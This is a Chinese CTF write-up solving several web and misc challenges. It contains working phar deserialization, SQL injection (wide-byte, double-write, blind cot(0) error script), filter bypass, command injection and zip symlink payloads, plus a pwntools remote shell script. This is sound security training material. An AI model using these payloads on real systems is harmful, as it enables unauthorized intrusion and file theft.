扫描目录存在www.zip,下载后解压得到源码。
限制了上传文件的后缀
同时类中存在文件读取函数,很容易联想到phar反序列化。
首先生成phar
class upload{
public $filename="/flag";
}
$p = new upload();
$phar = new Phar("test.phar");
$phar->startBuffering();
$phar->setStub("");
$phar->setMetadata($p);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>
将生成的文件后缀改为test.png,上传后利用file_exists触发
img_name=phar:///var/www/html/upoload/test.png
只有用户名为admin时会显示密码错误,不过尝试闭合一直没成功,怀疑是被转义了,试了下宽字节注入,可以成功显示报错。
先来尝试登录成功,or和and都被过滤了,这里可以用^
正常情况下^0即可登录成功,但是依然显示密码错误。
那么有可能是先查询出密码在和我们输入的密码进行md5比较,所以通过union构造一个password就可以了。
这里面union和select都被替换成空了,不过可以双写绕过。
payload
password=1&username=admin%df%27ununionion%09seselectlect%091,1,0x6334636134323338613062393233383230646363353039613666373538343962#
一道sql注入题,过滤了单双引号,所以想到的闭合方式就只剩反斜杠转义了。
先尝试利用or 1登录
经过测试万能密码也会显示用户名密码错误,得找个其他的回显,当sql语句报错时,页面会不显示任何内容。
if被过滤了可以使用case when语句绕过
substr mid被过滤了可以用isstr绕过
空格被过滤了可以用%09代替
最后就是怎么让他既能报错也能显示密码错误。
这里方法还是挺多的,比如pow(1000000,10000)
,cot(0)
,exp(100000)
注入脚本如下
import requests
import string
s=string.printable
print(s)
url = "http://39.107.78.119:25912/api/api.php?command=login"
x=''
for i in range(1,30):
print(i)
for j in range(32,127):
t = ''.join(hex(ord(c))[2:] for c in (x+chr(j)))
data={'username':'\\',
#'password':f'or(case(instr(binary(username),0x{t}))when(1)then(cot(0))else(1)end)#'}
'password':f'or(case(instr(binary(password),0x{t}))when(1)then(cot(0))else(1)end)#'}
r=requests.post(url,data=data,allow_redirects=False)
if "success" not in r.text:
print(t)
x+=chr(j)
break
#Flag_Account
#G1ve_Y0u_@_K3y_70_937_f14g!!!
得到用户名Flag_Account,密码G1ve_Y0u_@_K3y_70_937_f14g!!!
登录之后访问/api/flag.php
得到源码如下
尝试读取/flag,但是/flag
被过滤了,不过过滤语法是用的^
也就是不能使用/flag
开头,使用//flag
即可绕过
payload:file=//flag
题目提示弱密码,那直接弱密码爆破了
爆破出密码为admin123
登录之后,后面是个命令执行
过滤了分号用%0a代替,过滤了空格用%09代替
首先ls看到当前目录下有个kylin
但是不知道这是个文件夹还是文件,直接打开没有内容,猜测是文件夹。
过滤了/
那就先cd进去再打开
Payload:ip=%0acd%09k*%0atac%09*
直接16进制解码就可以了
下载附件后源码分析
可以上传普通文件或者zip文件,但是普通文件需要sakana开头。
后面还有解压以及下载文件的功能
很容易联想到ctf中常考的软链接,但是有过滤
不过代码上有个逻辑错误
当base64内容有问题时没有直接退出,而是进入进入到了subprocess.run中,执行了unzip命令。
假设我们输入错误的base64会出现如下错误
会去找/tmp/sakanas.zip.zip或者/tmp/sakanas.zip.Zip。
而在1选项中,我们可以上传文件,并且存在目录穿越,这样就可以创建一个/tmp/sakanas.zip.zip文件。
unzip还有个问题,当压缩包中文件头前面有其他内容时,会继续解压。
1、本地生成带软链接的zip压缩包
echo 123 > /flag
ln -s /flag f
zip --symlinks flag.zip f
2、放入010editor中加入sakana
3、将文件base64编码后上传
4、通过base64报错让程序解压上传的文件
5、下载flag
payload
from pwn import *
p = remote('123.56.174.142', 5702)
payload = "-interactive"
p.sendlineafter(' command --->>', payload)
p.sendline('.shell cat /flag.txt;')
p.sendline('.quit')
p.interactive()
.shell来执行系统命令,.quit退出